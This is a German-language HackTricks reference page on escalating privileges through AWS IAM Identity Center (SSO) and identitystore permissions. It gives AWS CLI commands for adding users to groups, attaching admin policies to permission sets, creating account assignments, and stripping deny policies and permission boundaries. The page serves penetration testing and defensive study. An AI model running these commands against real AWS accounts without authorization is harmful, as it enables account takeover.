AWS - SSO & identitystore Privesc
Reading time: 6 minutes
tip
Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Lernen & üben Sie Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Unterstützen Sie HackTricks
- Überprüfen Sie die Abonnementpläne!
- Treten Sie der 💬 Discord-Gruppe oder der Telegram-Gruppe bei oder folgen Sie uns auf Twitter 🐦 @hacktricks_live.
- Teilen Sie Hacking-Tricks, indem Sie PRs an die HackTricks und HackTricks Cloud GitHub-Repos senden.
AWS Identity Center / AWS SSO
Für weitere Informationen über AWS Identity Center / AWS SSO siehe:
AWS - IAM, Identity Center & SSO Enum
warning
Beachte, dass standardmäßig nur Benutzer mit Berechtigungen aus dem Management-Konto auf das IAM Identity Center zugreifen und es steuern können.
Benutzer aus anderen Konten können dies nur erlauben, wenn das Konto ein Delegierter Administrator ist.
Siehe die Dokumentation für weitere Informationen.
Passwort zurücksetzen
Ein einfacher Weg, um Privilegien in solchen Fällen zu eskalieren, wäre, eine Berechtigung zu haben, die es erlaubt, die Passwörter der Benutzer zurückzusetzen. Leider ist es nur möglich, eine E-Mail an den Benutzer zu senden, um sein Passwort zurückzusetzen, sodass du Zugriff auf die E-Mail des Benutzers benötigst.
identitystore:CreateGroupMembership
Mit dieser Berechtigung ist es möglich, einen Benutzer in eine Gruppe zu setzen, sodass er alle Berechtigungen der Gruppe erbt.
aws identitystore create-group-membership --identity-store-id <tore-id> --group-id <group-id> --member-id UserId=<user-id>
sso:PutInlinePolicyToPermissionSet
, sso:ProvisionPermissionSet
Ein Angreifer mit dieser Berechtigung könnte zusätzliche Berechtigungen zu einem Berechtigungsset gewähren, das einem Benutzer unter seiner Kontrolle gewährt wird.
# Set an inline policy with admin privileges
aws sso-admin put-inline-policy-to-permission-set --instance-arn <instance-arn> --permission-set-arn <perm-set-arn> --inline-policy file:///tmp/policy.yaml
# Content of /tmp/policy.yaml
{
"Version": "2012-10-17",
"Statement": [
{
"Sid": "Statement1",
"Effect": "Allow",
"Action": ["*"],
"Resource": ["*"]
}
]
}
# Update the provisioning so the new policy is created in the account
aws sso-admin provision-permission-set --instance-arn <instance-arn> --permission-set-arn <perm-set-arn> --target-type ALL_PROVISIONED_ACCOUNTS
sso:AttachManagedPolicyToPermissionSet
, sso:ProvisionPermissionSet
Ein Angreifer mit dieser Berechtigung könnte zusätzliche Berechtigungen zu einem Berechtigungsset gewähren, das einem Benutzer unter seiner Kontrolle gewährt wird.
# Set AdministratorAccess policy to the permission set
aws sso-admin attach-managed-policy-to-permission-set --instance-arn <instance-arn> --permission-set-arn <perm-set-arn> --managed-policy-arn "arn:aws:iam::aws:policy/AdministratorAccess"
# Update the provisioning so the new policy is created in the account
aws sso-admin provision-permission-set --instance-arn <instance-arn> --permission-set-arn <perm-set-arn> --target-type ALL_PROVISIONED_ACCOUNTS
sso:AttachCustomerManagedPolicyReferenceToPermissionSet
, sso:ProvisionPermissionSet
Ein Angreifer mit dieser Berechtigung könnte zusätzliche Berechtigungen zu einem Berechtigungsset gewähren, das einem Benutzer unter seiner Kontrolle zugewiesen ist.
warning
Um diese Berechtigungen in diesem Fall auszunutzen, müssen Sie den Namen einer kundenverwalteten Richtlinie kennen, die in ALLEN betroffenen Konten vorhanden ist.
# Set AdministratorAccess policy to the permission set
aws sso-admin attach-customer-managed-policy-reference-to-permission-set --instance-arn <instance-arn> --permission-set-arn <perm-set-arn> --customer-managed-policy-reference <customer-managed-policy-name>
# Update the provisioning so the new policy is created in the account
aws sso-admin provision-permission-set --instance-arn <instance-arn> --permission-set-arn <perm-set-arn> --target-type ALL_PROVISIONED_ACCOUNTS
sso:CreateAccountAssignment
Ein Angreifer mit dieser Berechtigung könnte einem Benutzer unter seiner Kontrolle ein Berechtigungsset für ein Konto zuweisen.
aws sso-admin create-account-assignment --instance-arn <instance-arn> --target-id <account_num> --target-type AWS_ACCOUNT --permission-set-arn <permission_set_arn> --principal-type USER --principal-id <principal_id>
sso:GetRoleCredentials
Gibt die STS- kurzfristigen Anmeldeinformationen für einen bestimmten Rollennamen zurück, der dem Benutzer zugewiesen ist.
aws sso get-role-credentials --role-name <value> --account-id <value> --access-token <value>
Sie benötigen jedoch ein Zugriffstoken, dessen Beschaffung ich nicht sicher weiß (TODO).
sso:DetachManagedPolicyFromPermissionSet
Ein Angreifer mit dieser Berechtigung kann die Zuordnung zwischen einer AWS verwalteten Richtlinie und dem angegebenen Berechtigungsset entfernen. Es ist möglich, mehr Berechtigungen zu gewähren, indem eine verwaltete Richtlinie (Ablehnungsrichtlinie) abgetrennt wird.
aws sso-admin detach-managed-policy-from-permission-set --instance-arn <SSOInstanceARN> --permission-set-arn <PermissionSetARN> --managed-policy-arn <ManagedPolicyARN>
sso:DetachCustomerManagedPolicyReferenceFromPermissionSet
Ein Angreifer mit dieser Berechtigung kann die Zuordnung zwischen einer von Kunden verwalteten Richtlinie und dem angegebenen Berechtigungsset entfernen. Es ist möglich, weitere Berechtigungen zu gewähren, indem eine verwaltete Richtlinie (Ablehnungsrichtlinie) abgetrennt wird.
aws sso-admin detach-customer-managed-policy-reference-from-permission-set --instance-arn <value> --permission-set-arn <value> --customer-managed-policy-reference <value>
sso:DeleteInlinePolicyFromPermissionSet
Ein Angreifer mit dieser Berechtigung kann die Berechtigungen aus einer Inline-Richtlinie des Berechtigungssets entfernen. Es ist möglich, mehr Berechtigungen zu gewähren, indem eine Inline-Richtlinie (Verweigerungsrichtlinie) abgetrennt wird.
aws sso-admin delete-inline-policy-from-permission-set --instance-arn <SSOInstanceARN> --permission-set-arn <PermissionSetARN>
sso:DeletePermissionBoundaryFromPermissionSet
Ein Angreifer mit dieser Berechtigung kann die Permission Boundary aus dem Berechtigungsset entfernen. Es ist möglich, mehr Berechtigungen zu gewähren, indem die Einschränkungen des Berechtigungssets, die von der Permission Boundary gegeben werden, entfernt werden.
aws sso-admin delete-permissions-boundary-from-permission-set --instance-arn <value> --permission-set-arn <value>
tip
Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Lernen & üben Sie Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Unterstützen Sie HackTricks
- Überprüfen Sie die Abonnementpläne!
- Treten Sie der 💬 Discord-Gruppe oder der Telegram-Gruppe bei oder folgen Sie uns auf Twitter 🐦 @hacktricks_live.
- Teilen Sie Hacking-Tricks, indem Sie PRs an die HackTricks und HackTricks Cloud GitHub-Repos senden.